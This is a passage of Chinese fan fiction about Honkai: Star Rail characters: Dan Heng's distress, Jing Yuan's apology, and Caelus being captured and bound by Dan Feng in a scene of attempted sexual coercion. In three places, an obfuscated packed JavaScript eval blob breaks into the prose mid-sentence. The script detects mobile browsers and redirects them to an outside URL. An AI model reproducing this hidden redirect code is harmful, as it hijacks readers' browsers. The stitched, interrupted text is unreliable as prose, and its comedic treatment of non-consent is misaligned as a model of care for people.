他脸色惨白,腿一软,差点就这么摔到在地。 丹枫下意识的伸手,把人扶住了,避免自己的后世给他结结实实地磕一个。 龙尊大人可舍不得。 揽住对方纤细的腰肢后,第一时间去给人把了个脉。 然后蹙眉不展,看了看青年的脸色后,神情凝重的说道。 “……还好,并不是纵欲过度……” 10. 将军喜事将近啊 粉色头发的少女担忧的看了一眼从智库走出来的灰色头发的青年,她凑上前,漂亮的眼睛里带着急切:“穹!怎么样?丹恒老师还好吗?” 一头灰色短发的男生摇摇头,金色的眼瞳里满是无奈,他沮丧着脸,眉头也皱着,看着三月七唉声叹气的说:“不行三月,丹恒他还是那个样子,一动不动的缩在房间里,都不肯跟我说话,更别说出门了。也不知道到底是怎么一回事,为什么出门一趟,就自闭成这样了?我想要找个人问问情况……” “你要问谁啊?嗯……景元将军吗?我记得丹恒老师好像那天就是去的罗浮吧,问景元将军应该可以知道点什么。” “道理是这个道理,可我总觉得自己不应该去罗浮,一想到要去罗浮,心里就会冒出来一种说不出来的感觉,很强烈。”穹揉了揉自己的头发,不知道如何解释那种虚无缥缈的第六感。 “啊?那你就别去了吧,万一有什么事呢,你看丹恒老师都变成这样了,我怕你去了也会变这样。穹,有时候要相信自己的直觉。还有别的人选可以问吗?” 穹抱起手臂,摸了摸下巴:“……” 三月七也一筹莫展,两个人对视一眼,又双双叹了一口气。 “……怎么办?” “要不我去问问卡芙卡?”穹摊摊手说道,“其实那天丹恒回来之前,卡芙卡就给我发了一个消息,说得云里雾里的,跟谜语人似的听不懂。我总结归纳了一下,大概就是发生了一些意料之外的事情,希望我好好安抚一下某些人。我本以为是银狼,再或者可能是刃,现在想来,是一直以来表现都很正常的丹恒才对。” “是啊,丹恒老师那天回来时的表情,把我实在是吓到了,我这些天一直担心他想不开去做一些不好的事情。” 三月七忽然拽住灰发男生的胳膊,“我们去找出真相吧,不能再让丹恒老师这么消沉下去了。” 穹眨眨眼,然后点点头,神情坚毅,他大声的回应道:“好!一定让丹恒重新振作起来!我这就去找卡芙卡!” 智库紧闭的门突然被打开,脸色很是憔悴的青年抬起青灰色的眼睛,眼尾的红都好像暗淡了下来,面对自己的两个伙伴,他闭了闭眼,声音艰涩低沉的说:“穹,别去……别去找卡芙卡。我没事的,三月还有穹,我只是需要稍微调整一下就好了,请放心,我不会倒下的。” 穹和三月七对视一眼,都看得出自己眼中的担心,但既然本人都这么说了,两人也只好压下担忧的情绪,点点头答应下来。 “好哦,丹恒老师。你要照顾好自己啊,有什么问题,咱随时都可以过来帮忙的!姬子阿姨还有杨叔也在,绝不会让谁欺负了咱们的丹恒老师!” 粉发女生握紧拳头,挥了挥说道。 穹也郑重的点头。 “我也是,丹恒,我们还要一起去更多的地方,开拓更多的世界呢。” 丹恒听了伙伴的安慰,感觉自己心力交瘁的心灵被引入了一股暖流,他振作了精神,抿抿唇,深吸口气说:“嗯,我知道的。” “谢谢你们。” 见状,对面的两人顿时笑开。 “嘿嘿,这就见外了啊。” “那就这样吧,我们也不打扰你休息了,请一定要注意身体啊。丹恒老师再见!” 丹恒点点头:“嗯,我会的,再见小三月,还有穹。” —— 穹和三月七告别了丹恒以后,来到了观景车厢,两个人躲在角落里小声嘀嘀咕咕。 “我还是放心不下,打算去查一下情况。”这是穹。 三月七眨巴眨巴眼睛,她好像想了一下又好像什么也没有想,过了一会儿,才说道:“那你还要去找卡芙卡吗?” 已经拿出手机在叭叭打字的人抽空回答她,“很遗憾,卡芙卡好像是去出任务了,其他星核猎手也不在,根本联系不上。” 三月七:“那你打算怎么办?” 穹:“只能去罗浮,问问景元将军了。” 三月七:“景元将军也很忙的吧,你怎么确定自己能找到人?” 穹:“彦卿才给我发了个图,里面是在长乐天小店排队买零嘴的景元将军。我现在赶过去,应该正好能碰到将军。” 三月七:“好!你去吧。注意安全哦!要不要我也跟着?” 穹摇摇头:“你要在这里待着,看着丹恒。三月……丹恒老师的安危就交给你了!”他拍拍少女的肩膀,郑重其事的说着。 三月七点头,眼神坚毅,信誓旦旦的回应道:“放心好了,咱还是很值得信赖的,保证这段时间不会有任何人能打扰到丹恒老师!” “嗯嗯!那我就走了,记得保持联络。” “好。” 穹通过界域定锚踏上了仙舟罗浮,并且直奔长乐天的神策府而去。 —— 在穹离开不久,一位意料之中又意料之外的人登上了星穹列车。 白发的将军带着温和的笑,跟杨叔你来我往的聊了好一会儿,直到最后,男人这才唇角轻抿,面上似有惭愧的说出自己的真实目的。 “……不知丹恒近来如何?”男人眉头轻蹙,似乎有点踌躇不决。 “说实话,不太好……”瓦.尔特杨推了推自己的眼镜,面色严肃的回他,“我们并不知那天丹恒在罗浮发生了什么……他回来以后,就在智库一直闭门不出到现在。景元将军如果方便的话,还请告知原由……我们都很担心他。” 景元苦笑一声,这个事情的因果关系还真不好解释。 虽然大部分事情都是由那位至今还在自己那里的前世饮月君造成的,但自己也不是完全没有错。谁让自己和丹枫同流合污,把人给逗得炸毛了呢。现在这个情况,苦果只能自己吃。 嗯,只有自己来收拾摊子。 因为丹枫并不觉得自己有做错什么,你情我愿的事情,又有什么不对?哦,你说丹恒不愿意?但丹枫觉得,他看着不像啊? 再加上丹枫在现世,有许多未探明的限制,为了罗浮的安定,景元已经与他约定好了,暂时老实待在自己的住处,等着如今的太卜司大人符玄找明缘由,把人送回去。 七百年前的饮月君,可不能长久停留在现世。 丹枫他本人也不乐意如此,景元知晓,丹枫实在厌烦被困顿于小小一处院落,且他连下人的许多言论都无法听见,书籍也是,有些书干脆就是空白一片,冥冥之中有一股力量在限制着他得知后世的消息。 尽管这里有长大后的景元将军,有自己重返年轻的挚友,也有可爱的后世,可对丹枫来说,依旧不足以让他停留。 他是注定属于过去的人。 龙尊心里很清楚。 而景元,他也很明白。 所以才会稍微放纵了点。 而现在,就是他来收拾自己任性后果的时候了。 作为成年人的瓦.尔特杨当然不会咄咄逼人,眼见这位罗浮的将军面露为难,便主动后退了一步。 “是我多言了,如果不方便说也无妨,丹恒就在这扇门之后,将军可以试试与他交谈。我和姬子都希望丹恒能好转过来。希望将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16472913|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军能有所帮助,这边就不打扰你们了,我先告辞。” 景元看着人身影消失后,这才把目光落在自己面前的门上。 他深吸一口气,抬起手,修长的手指搁在门上,轻而稳定地敲了敲。 “丹恒,你在吗?” “我是景元。” —— “咦?将军去哪里了?不是应该就在这个地方吗?不应该啊,自己也没耽误时间,巡猎的令使也不至于快成这样吧?” 穹绕着这里不死心的跑了好几圈,把那位店主都给绕的眼睛花了。 “小子,你要找谁?别转了,头都要被你转晕了。” 穹听闻,眼睛一亮,将自己翻开的快递箱关上,以一种快如闪电的速度凑了过去,把店主吓得往后扬了扬。 “卧槽,你跟个鬼一样,突然出现,想吓死我吗?” 穹连忙低头乖乖认错道歉,“抱歉抱歉,是我的错。”然后他眨眨眼,说:“不过,仙舟没有鬼来着。老板你可别自己吓自己。” “知不知道人吓人,吓死人啊。”店主没好气的翻了个白眼,“行了,你想问什么就问吧,趁现在人少,我也能给你聊一聊。等会儿,我就顾不上你了。” 穹:“哦,我知道了。” 他拿出手机,把彦卿发过来的景元的那个图递给店主看。 “我想问下,刚刚将军是不是在你这里买了东西?” 店主一看,是问将军大人的事情,顿时扬起了笑脸,“怎么?你也是崇拜将军大人的粉丝吗?那你可问对了人,我为什么在这里开店?还不是因为将军大人住在附近吗?我这可是八百年的老店了,老板我啊,几乎看着将军大人长大的。” 他说着,突然顿了一下,然后左右看了一下,这才凑过来跟穹小声说,“我看你投缘,大家又都是爱戴将军大人的,我这里就分享你一个关于将军大人的秘密,也可以看作是一件天大的喜事。” 穹本来还想问景元的踪迹,没料到这位店主突然洋洋洒洒说了一大堆,还神神秘秘的要跟他说秘密。 老板看起来很高兴的样子。他想了想,并没有打断老板的话。 穹没有忘记,自己本来就是为了调查丹恒的事情,才过来的,而丹恒上罗浮不可能不去拜访景元。而这个在景元住处附近的“八百年”老店,平时来来往往,说不定还真知道一些什么东西。 于是,他又凑近了一点,只听到那位店主嘿嘿嘿笑了几声,用一种欣慰的语气说道。 “说不定要不了多久,将军大人可能就要有喜事了。七百多年了,不容易啊……” 穹头顶冒出问号。 “啊?” “将军有喜事?” “嗯!千真万确!这可是我亲眼所见!将军大人最近天天捧着各种吃食回了住处,脸上表情也很开心的样子。更重要的就是——” 穹伸长了脖子。 ——更重要的是什么?你快说啊。 那位店主忽然声音激动起来,尽管他自己尽力压抑了,但穹看他那副模样,真的有点怕这人一不小心因为情绪太激动,而魔阴身了。他可是说自己开了八百年的店了,好家伙,比景元年纪都大的老人家了,可不能多激动啊,穹无不担忧的想。 “你快看,回头看!就是那边府邸门口的那位,真的是那位大人啊,真是太好了……终于回来了……” 穹不理解老板的心情。 他只是随意地跟着手指的方向转过头,却看见了一个不应该在这里出现的人。 “……丹恒!?!” 11. 沉迷rua龙无法自拔 清俊的年轻人坐在智库的地上,背靠着厚厚的叠好的纸质书籍,他纤长而有力的手指握着笔,低着头却很久没有动过了。 丹恒垂下眼帘,长长的睫毛在白如玉的皮肤上搭下阴影,他看着前方出神的盯着那些地面上的浮光游影。这个房间的地板是透明的,只要低下头,就能看见那层波光粼粼的青色,就像是夜晚的海水在潮汐的影响下,波荡起伏,神秘而宁静。 景元走进来的时候,一眼就看见了曲起腿正呆愣愣看着笔记本的丹恒。 他看起来无精打采,焉巴巴的,有点像自己以前亲手种下的那颗枫树。景元记得,当时的枫树就连枝条都开始枯萎,叶片泛黄,明眼人都看得出来,它快死了。景元领了元帅军令出军的时候,他路过了那棵树,有一片枫叶掉落下来,悠悠荡荡地落在他的脚下,但他没有停留,头也不回地离开了罗浮,前往域外的战场。 可没想到回来以后,那颗本以为已经死亡的树,不但挺了过来,甚至变得更高大挺拔了。 ——它活过来了。 真是个奇迹。 景元相信丹恒,这个孩子很坚强,以前如此,现在亦是如此,相信他能调理好自己。 不过,作为年长者的自己,也要学会不再放任自流。以前是身不由己的局外之人,现在再当观众路人就不合适了。 男人走上前,微微顿了一下,然后一掀衣摆,他单膝触地的半跪下来,抬起头,金色的眼睛里神情柔和的平视青年的青灰色眼眸。 “丹恒。”景元轻轻的呼唤着青年的名字,从那次的承诺以后,景元再也没有喊过他丹枫,你若是问将军大人究竟有没有把两个人区别开来,可能只会得到一个没有意义的笑脸,和一句我不知道。 男人克制着自己和对方的距离,他叹息一声,说道:“我是来向你道歉的,丹恒……” 短发的年轻人眼睫颤了颤,他掀起眼皮,漂亮的眼睛里倒映出景元眼眸的一点金色。那颜色好似融入了其中,混合成了一种青金色泽,沉淀着,美丽而神秘。 “将军……不必为此道歉。”丹恒摇摇头,他只是稍微有一点点累了,休息一下,放空大脑,过一段时间就好了。若不是怕穹他们担心,甚至想要去深海里沉眠一段时间,什么也不想,什么也不做的睡一觉,好好的睡一觉。 可惜,他不能这样做。 “我从未怪过将军。”就算之前有一些羞赧恼怒的情绪,那也只是一时冲动,丹恒抿了抿唇,“这不该你来向我道歉,反而我才是应该来找你请罪的那个。” “丹恒,你我之间什么时候这般生疏了?前几日的事情,归根结底是我任性了,以至于让丹恒你心绪难平到如今,这不是我的错又是何人的呢?”景元叹了一口气,不怪他才是麻烦,因为那意味着这人觉得是自己的错。 “只希望丹恒莫要因此而疏远景某才好。” “……”青年闭了闭眼,想说什么,又发觉自己的言语实在匮乏,只好移开视线,生硬的提起另一个关心的话题。 “将军,我那日心绪大乱后慌张离开,未能小心隐藏行迹,不知……罗浮之上可有流言蜚语传出?”丹恒神情认真的看着景元,他道,“将军一生磊落,尽管在罗浮我已是无罪之身,但——还是尽量与我少有联系为好。丹恒唯恐有不怀好意之人,会借此攻讦将军行为不端。” 景元听了,反而神色古怪了一瞬。他嘴角动了动,似乎很想说什么,又忍住了。如果丹恒担忧的是这种事情,那就大可不必了。毕竟,罗浮的风气还是颇为开放,景元光是看见自己的同人话本子都有许多了,什么类型的都有,禁都禁不完,也没有必要禁。因为那些话本子都是用相似的名字来指代他们,大家懂得都懂,不懂得就不懂,当个解闷的故事也就看了。 别说丹恒提起的那天事宜,其实早在丹枫和景元走在一起的时候,《凤求凤·新编》都已经在连载了。现在几天过去,估摸着又更新了好多吧。 景元想,抛开真实的主人公问题,写得还是挺好的,文笔上佳,剧情跌宕起伏,感情千回百转,令人看得欲罢不能,更重要的是,作者承诺这次是真的大圆满结局,不像上次那样,双死既为he,欺骗了多少读者的眼泪啊。 丹恒察觉景元神情有异,他马上皱眉的问道:“可是流言泛滥,太过棘手?需要我出面澄清吗?” 景元见人一脸紧张担心的模样,没忍住笑了笑,男人眼眸弯弯的看起来心情很好,瞅着人还瞪着眼睛眼巴巴的看着他,忽然抬起手,rua了一把青年的头。黑色的发丝柔软蓬松拂过指间,手感很好,于是他又多揉了几把。 丹恒有点愣神,“……将军?” 却看见白发的将军大笑一声,随后身边挨了个温热的身体,是景元坐了过来。 “丹恒,我觉得丹枫他确实没有说错。” 他还真是可爱…… “……” 年轻人不明所以,满头雾水,便只好沉默。他往旁边挪了一下,给景元让了让位置,好教人将军大人不至于坐在冰冷的地板上,能坐上自己的床铺,也好让自己跟人拉开距离。现在这个状态,也显得太亲密了些,丹恒有些心慌。 不料,丹恒往里挪了挪,景元便也神态自若的跟着往里面过去,直到两人重新挨着,丹恒无路可走的贴着智库那整整的一面墙,面带无奈。 “将军……”他喊了一声,提醒景元,别再往里面挤了,他没有地方可以去了。 这位将军金瞳熔熔,因为是私下拜访列车,并未着甲胄,而是一身朴素低调的白袍,配上那俊美出色的容颜,还真是风采夺目。此刻,他正微微笑着,听到丹恒的问题,只是故作无辜的姿态歪了歪头,整个人却纹丝不动。 丹恒微微移开目光,不再打量景元。 反而是挨着自己的景元突然提起一个并没有什么关联的问题。 “丹恒,我既是私人来拜访于你,怎么还称呼我为将军呢?这样未免太过正式了,不好不好。你叫我景元就行了。” 丹恒沉默了。 但看在景元坚定的眼神上,丹恒抿抿唇,还是开口轻声喊了一声,“景元。” “嗯,这才对。”景元听了后,笑开,又随手摸了摸他的头,把那柔软的头发都揉乱了,翘起几根倔强的呆毛。 丹恒偏过头,躲开男人的手,不想去理会那个有点得寸进尺的人,却也没有多说什么,他想摸就摸吧。 满足了这个小心愿以后,景元也没有再做什么举动,他曲起一条长腿,右手搁在膝盖上,感受着身边清浅的呼吸,阖了阖眼,感受这难得的平静安宁。嗯,好像有点困倦了,想休息会儿了。 丹恒重新拿起自己身边的笔记本,握着笔,在上面写写画画,开始记录一些之前就应该做好的资料数据。 笔尖和纸张接触的沙沙响声莫名的催眠,不多时,丹恒感觉肩上一沉,是景元,他闭着眼睛,头向自己这边歪靠着肩膀,白发擦过自己的脸颊,有点痒。 男人似乎很困倦,他靠着丹恒睡得正熟,往日里醒着时候总是微微上翘的嘴角,这个时候反而拉平了,只是淡淡的抿着,教人看不出他的喜怒。眉头轻皱着,好像就连睡梦之中,也在忧思着什么东西一样。 丹恒看得有点怔神,呆呆的看了一会儿后,青年下意识的抬起手,想给景元抹平那眉心的一道细微折痕,刚要触碰上去,手腕被抓住了。 他看过去,本来熟睡的景元不知何时已经醒来,眼底没有一丝惺忪的睡意,男人金色眼眸亮晶晶的,仿佛他一直都是这么警惕着,此刻看着丹恒的神色带着一种莫名情绪。 “丹恒……”他轻轻喊着,清朗的声音温柔如水,就像是缠绕在心间的羽毛,丝丝缕缕,搔动人心。 丹恒平稳的呼吸忽然顿了顿,他屏住了呼吸,然后微微抬起下巴,不闪不避的同样回看过去。 一种两个人之间的默契秘之不宣,在这方小小的天地升腾。 景元挑挑眉,他勾起唇,倾身压过去,两人的距离一点点缩短,同时抓握住青年白皙纤巧的手腕将之压在脑侧,他正要亲过去…… 碰!轰! “丹恒老师!!!呜呜呜,不好了!不好了!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16472914|185565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>粉色头发的少女气喘吁吁的扶着膝盖,一把打开了智库的门,或者说掀更合适。可怜的房门,被一股大力推开,发出了巨大的声音。 三月七本来还大声嚷嚷着哭泣的模样,但等她看见智库的情况后,直接哑了声。 “丹、丹恒老师,还有景、景元将军……啊哈哈,我,我……”少女结结巴巴的说这话,眼中泪光闪闪,看起来一副脑子已经烧坏了的模样。 她突然转过身,拔腿就跑。 不一会儿,这里只剩下了大开的房门,还有两个呆若木鸡的人。 景元:…… 此刻他真的很后悔,后悔自己怎么就没有想起把门给上锁。 男人叹了一口气,看向已经重新缩回原地,甚至恨不得原地消失爆炸的小龙,苦笑着,不知道该怎么安慰。 张了张嘴,景元想说些什么,起码要安慰一下丹恒。 但,刚刚跑出去没影的少女又返回了。 三月七紧张地看向丹恒。 “丹恒老师,对不起,咱不是故意打扰你跟景元将军的,但是,但是……穹他不见了。他已经有很长一段时间,没有跟我联络了,好担心他,呜呜呜。” 丹恒闭了闭眼,他抬起手抹了一把脸,强提起精神。 用镇定冷静的声音安抚着三月七。 “三月,你先别急,穹的事情,你跟我仔细说一遍。” “呜呜呜,丹恒老师。”三月七大为感动,然后连忙和两人交代了自己和穹今天打算干的事情。 “他说要去仙舟找景元将军问丹恒老师的情况,结果没多久便再也联系不上了,我有些担心,也上去找了一遍,还是没有找到人。本来打算过来通知一下杨叔和姬子,还有丹恒老师,再联系地衡司帮忙找人的……” “咱应该拦住他的。穹说过自己去仙舟有不好的预感……” 一边的景元静静的听完以后,面色从苦笑慢慢变成了痛苦的模样。 他和丹恒对视了一眼,确认两人估计想到一起去了。 向来游刃有余的神策将军苦恼地揉了揉额角,他问丹恒。 “你说,如果是穹遇见一个跟丹恒你长得一模一样的人时,他会怎么做?” 丹恒:…… 他不知道,也不想知道…… 青年愣愣地打开手机,看了一下时间,然后颓然的放下了。 过去这么久了,要是发生了什么,早就拦不住了…… “丹恒,抱歉……”景元抚上丹恒的肩膀。 “景元,你没必要说这个。这不是你的错,只是刚好错过了。”丹恒摇摇头,他站起身,眼神沉了沉,“现在还是先去看一下,是不是真的如我们所想的那样。” “嗯,正该如此。” 景元也跟着站起来,两人一块赶往罗浮,去找那个意料之外的人。 —— 时间倒回几个系统时前。 “……丹恒?” “欸?不对!” 灰发的青年诧异的眨眨眼,又揉揉眼睛,不太敢置信,自己的好兄弟之前还在智库自闭的奄奄一息,现在就突然现身罗浮,还是景元将军的府邸? 此事定有蹊跷! 所以他现在要不要悄悄的跟过去,去看看那个到底是不是丹恒,探明真相?青年脑子里的想法转了一圈,然后他毅然决然的选择了跟上去…… 为了丹恒老师……我拼了! 穹点点头,为自己的想法感到赞同。 于是,他英勇的上了,再然后……就什么也不知道了。 再次睁开眼,他看见一双修长的腿正在自己面前翘着,顺着长腿往上,和丹恒本相一般模样的人正微微垂着青色剔透的眼眸上下打量他,耳边的流苏坠子殷红似血。 那张俊美至极的面容上,神色冷淡如万载不化的玄冰,男人伸出完全包裹进黑色手套的修长手指,勾起穹的下巴,声音清冽似雪。 “来,告诉我,你是谁?” ——好冷淡一个人,又好美的一个人。 穹当时满脑子只有这个想法。 12. 强迫持明龙尊犯法吗 “来,告诉我,你是谁?” 青丝如瀑的男人垂着眼,微微低头看他,眼尾的赤色绝艳,眉宇之间却尽是冷淡漠然。头上的碧青龙角就像是玉石一样好看,不过,跟丹恒本相的龙角好像不太一样,少了一圈金色的纹路。 穹突然有了一点莫名的觉悟——自己怎么会觉得眼前的男人会是丹恒啊,眼花,纯属眼花。 不过在此之前,他先要想一想如何在几个回答之中,解答面前人的问题。 重新诞生记忆尚且短暂的星核精本想下意识抬手摸摸自己的头,但苦于自己被水绳束缚在身后的手实在完成不了这种高难度动作,无奈选择放弃。 他金色偏暗沉的眼睛转了转,颇为帅气的脸严肃了下来,给了对面一个比较特别的答案。 “在下——银河球棒侠是也。” 丹枫:“?” 穹可以明显感觉到对方愣了愣,他好奇的看过去,想要看看这个跟丹恒一模一样的脸上会有什么样的表情和反应。 有点小期待和小兴奋,毕竟丹恒从来没这么臭着一张脸看他们,而眼前这个人简直是把冷漠如冰和傲气十足诠释到了极点。 这个人倒是更符合那些话本小说里不朽龙尊的形象。穹有点形容不出来,反正就是感觉,感觉! 从头到脚都看着像。 所以这是谁? 穹的脑瓜子里这个问题转悠了许久。 他想到,便也问了出来。 “那你又是谁?说起来你可能不信,你和我的一个朋友长得可真像。” 男人没有说话,只是用那双漂亮剔透的绿色瞳孔盯着穹,神色不动:“……” 丹枫在听到那个银河球棒侠的称号时,向来波澜不惊的脸色都有一丝丝凝滞起来,男人抿了一下唇角,微微上扬了一丝弧度,青色透彻的眸子里升腾起一丝兴味,又听见那个人一点也不怕生的反问他,更是觉得颇为有趣。 龙尊收回自己的手,好整以暇的坐回榻上,一枚黑白相间的珠子从掌心升起,那是持明的重宝——重渊珠。珠子被他手一抬,丢上了半空,一缕缕的流水刹那间便聚而来,将这处院落包围起来,他布下了一个屏障,从现在开始,这里轻易不得进出。 等做完这些以后,一身白衣的男人才把目光停注过来。 他打算好好和这个可爱的,嗯,银河球棒侠……玩一玩,以解这段时间的无趣时光。 即使是景元常抽空来陪他,但作为一个七百年前的旧影,无人能知,丹枫本人在如今时空所面对的“桎梏”——当然,没有讨厌的龙师来找麻烦,也算一大优点了。 “好,我知道了。”龙微微笑开,他说:“那么请好好的记住我的名讳,等会儿——可千万别叫错了。”他慢慢的压低了尾音,语调优雅而危险。 “丹枫,记住了,我叫丹枫。” —— “那个啥,等、等一下!” 常识都有些缺乏的星核精等到了床上时,才后知后觉的反应过来这件事情的严重性,他一手捂着屁股,一只手扯着自己的裤子,表情有些惊慌失措。 眼见着对面根本不打算听他的,圆溜溜的眼里更是焦急起来。 “等一下,我说等一下!” 他大声的喊着,但这里没有其他人,只有一个疑似丹恒前世的家伙,性格非常恶劣,意图对他的屁.股不轨,馋他身子! 穹后悔,非常后悔。 早知道自己就应该听从第六感的预警,不该来罗浮的。 这里有怪人…… 但他想了想,可是丹恒那边还在等着自己去帮忙把人从自闭中拖出来呢,怎么可能知难而退啊! 他可是大名鼎鼎的开拓者! 丹枫停下动作,带着黑色手套的手指撩了撩自己脸侧滑落的发丝,挽到耳后,那红色流苏的坠子被动作拂过,晃晃悠悠的极其夺人视线。 穹看向那一抹稀少的艳色,鲜艳的红衬着白玉似的肌肤,如血液一般融入进男人本身的沉郁和漠然之中,让他反而多了一丝蛊惑人心的魅力。 该说不说,丹恒老师的脸真好看,年轻人被这绝俗的样貌吸引的目不转睛,他迷迷糊糊的想到。 然后脸颊被温凉的手指捏住,有清冽的声音响起。 “喜欢这张脸?” 穹诚实且老实的点点头。 丹恒的本相真的很帅,他可喜欢了。还是龙,可以变成飞在云端,行云布雨的苍龙,强大又美丽的生物,谁都会喜欢的,他也不例外。 什么时候丹恒能给他摸摸尾巴,还有龙角就好了。 穹心里有点可惜,丹恒对于自己的本相有心结,他作为好兄弟,当然不能这么轻易的向对方开口。 至于眼前这位? 唉……那更是有点不知死活了。 龙尊似笑非笑地睨了一眼不老实的年轻人,明明看着他,却心里想着别人。不过他并不计较这个,因为丹枫也很喜欢那张脸在自己后世身上,尤其是面对自己,浮现出因他而出的各种神态,真有趣啊。 奇怪,这算是自恋吗? 就算是,好像也没有什么关系,喜爱自己的后世,难道不是理所当然吗? 男人眼波流转,碧瞳就像古海波浪起伏的水,带着无人捉摸透彻的神秘与危险,偏生冷冽如冰。 “我忽然明白,之前在鳞渊境听见的那句话的含义了。”灰发的年轻人一眨不眨的盯着龙,想起了当时自己跟着丹恒,一起去见如今罗浮持明的尊长白露小姐时的场景。 那位上一任丹士长的蜃影见到丹恒的时候说了一句话,穹还记得清楚。“为什么您一语不发?大人,您还是像过去一样清冷孤独,就像是方壶仙舟上万载不化的玄冰。” 排除一些不太正常的举动,眼前人在穹现在的心里实在是符合那清冷如冰的形容词。或者说就算这个人在做这种事情,他看起来依旧矜贵优雅,神色淡然自若。 身上的绳索又收紧了几分,勒得有些疼了。有一句仙舟古话说得好——识时务者为俊杰。偶尔,在面对不可抗之敌时,该软就得软,做什么也别跟自己的身体过不去。 于是,穹选择了华丽丽的投降。 “好吧,好吧,你来,随便来,我投降了,保证不反抗。”不就是屁股吗?送了送了,把这个人当丹恒好兄弟,就是了,反正他们长得一样。 “还有……大哥,我还是个孩子,到时候能不能轻点!” 水绳被松开,穹一时间坐起来,开始了他的“求饶”大举,势必要将抽象贯彻到底。 年轻人颤巍巍地抓住龙尊绣着鹤纹的衣摆,瞪大眼睛,力图让自己看起来足够的楚楚可怜,在对上视线后,还猛地眨了眨眼。 好像在装可怜,不太确定,再看一眼。 “……” 丹枫闭了一下眼,沉默着把自己的衣袖抽了出来。 突然就清心寡欲了起来。 怎么办? 突然好像有点做不下去了。 小恒现在的朋友都是这样的吗?那还挺能锻炼人,丹枫心想。 无名客,是白珩最想要碰见的存在,小恒倒是遇见了,运气真好。 但确实不想做了,有种欺负小孩子的错觉。 龙尊大人掰着年轻人的脸蛋,左右看了看,这般好的皮相,还拥有一个有趣又抽象的灵魂,算了……和他聊聊天解闷吧。 免得小恒找过来,又要用那种怀疑指责的的目光看着自己,导致好感度又往下掉,本来也剩得不多了。 后世比找解闷重要。 龙尊大人脸色平静的直起身,看了一下天色,心里的天平默默地往不做继续偏了偏,景元有可能会来找自己,到时候说不定就更不好玩了。 于是他忽然站起身,一甩衣袖,打算走人。 结果猝不及防被人一把抱住了腰,硬扯着拽到了床上。 “你要走?”灰发金瞳的青年反客为主的把人压在了身下,目光灼灼地看着他,抬手擦了一下不知何时从额头冒出来的细汗。 好热,为什么突然感觉自己就仿佛小火人一样,快燃起来了? 龙尊大人手冰冰凉,想多贴贴。 他整个人看起来也很凉快的样子,贴贴手的面积不太够。 有了—— 脑海中的“小灯泡”亮起。 穹不知道自己现在怎么了,但他只觉得眼前这个人仿佛一块散发着寒气的冰块,不抱上去,绝对是极大的损失。 于是他双手拉住衣服的下摆,向上抻直脱掉了上衣,随手扔在了一边,姿态极为潇洒,继续说道,“……我好热啊,你可不能走……” 让我抱抱“冰块”,嗯,还是个漂亮的大冰块! 丹枫还是第一次被人主动反压在床上,墨发散在柔软的被单上面,他看着上方的青年,青瞳微微一缩。 “这是……万界之癌?”他不太确定的伸出一只没有被压制的手,修长的手指轻轻搭上了青年手腕,一缕青芒游移进去。 过了一会儿,丹枫收回了自己的手,蹙眉沉思。 穹偏偏头,不太明白的样子。 “啊?” 真的好热,浑身都仿佛燃烧起来了,有火焰在血液里奔腾,叫嚣着释.放,很难受。而自己抱着的人,浑身冰冰凉的,他贴着舒服,不能放走。 穹愤愤不平,果然他的直觉真准,他要热炸了吗? 丹恒的前世应该不会被自己体内的星核炸死吧?要是真没了,丹恒会找自己麻烦吗? 不,不对,体内的星核炸了,自己也没了呢。 不需要担心丹恒老师的问题了。 穹胡思乱想着有的没得,有些念头甚至他自己都没有发觉,直接在脑子里乱成一锅粥,让穹都不知道他在干什么。 是没有见过的个例,一个活蹦乱跳的,容纳万界之癌还看起来如此健康的家伙。 丹枫觉得若不是时候不对,他现在更想把人提着去丹鼎司,好好研究一番。前提是,那股神秘的力量,不会屏蔽自己的认知。 可惜,现在时机真的不合适。 也不知是什么缘由,激发了穹体内的星核,让他变成了这个模样,若是丹枫不出手平复下来,可能罗浮之上又多要出一点点小乱子了。 丹枫既见不得无辜的人死在自己面前,也不会放任灾祸去给那已经维持罗浮安宁七百余年的景元增添更多麻烦。 龙尊大人想通事件只在一念之间,他伸出手按住了青年冒出热汗的后颈,把人按在了自己的怀中,热到滚烫的脸颊贴着自己的肩膀,他挣脱了控制,打算做完自己最开始想要做的事情。 啧,万界之癌所衍化的症状,宛如服用了某些壮.阳益血的猛虎之药,还真是有趣啊。 要不还是把他抓去丹鼎司吧? —— “你现在有点热情过了头……” 丹枫还在扯自己的腰带,对方已经按耐不住的在他身上啃来啃去,细细碎碎地咬着,像小动物,不算轻也不重,更多的感觉是黏.糊还有痒得慌。 “可是我好热……” 穹觉得自己真的要热爆炸了,他再次为自己不相信第六感的预警而后悔了几秒。在迷迷糊糊之中,青年心想,自己不会真的要炸掉了吧,因为这种事情而星核失控,自己真是太倒霉了。 难受,想哭…… 他带点泄愤的咬了一口丹枫颜色浅淡的唇瓣。 嘴角的薄皮经不住这个力道,登时便冒出血珠来,穹舔了舔,又吮吸了一口,下一秒他转过头呸了呸,给吐了。 一股子铁锈味,不好吃。 丹枫的眼瞳颜色转了深,他表情被阴影覆盖了大半,叫人看不真切,房间中一种无形的压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 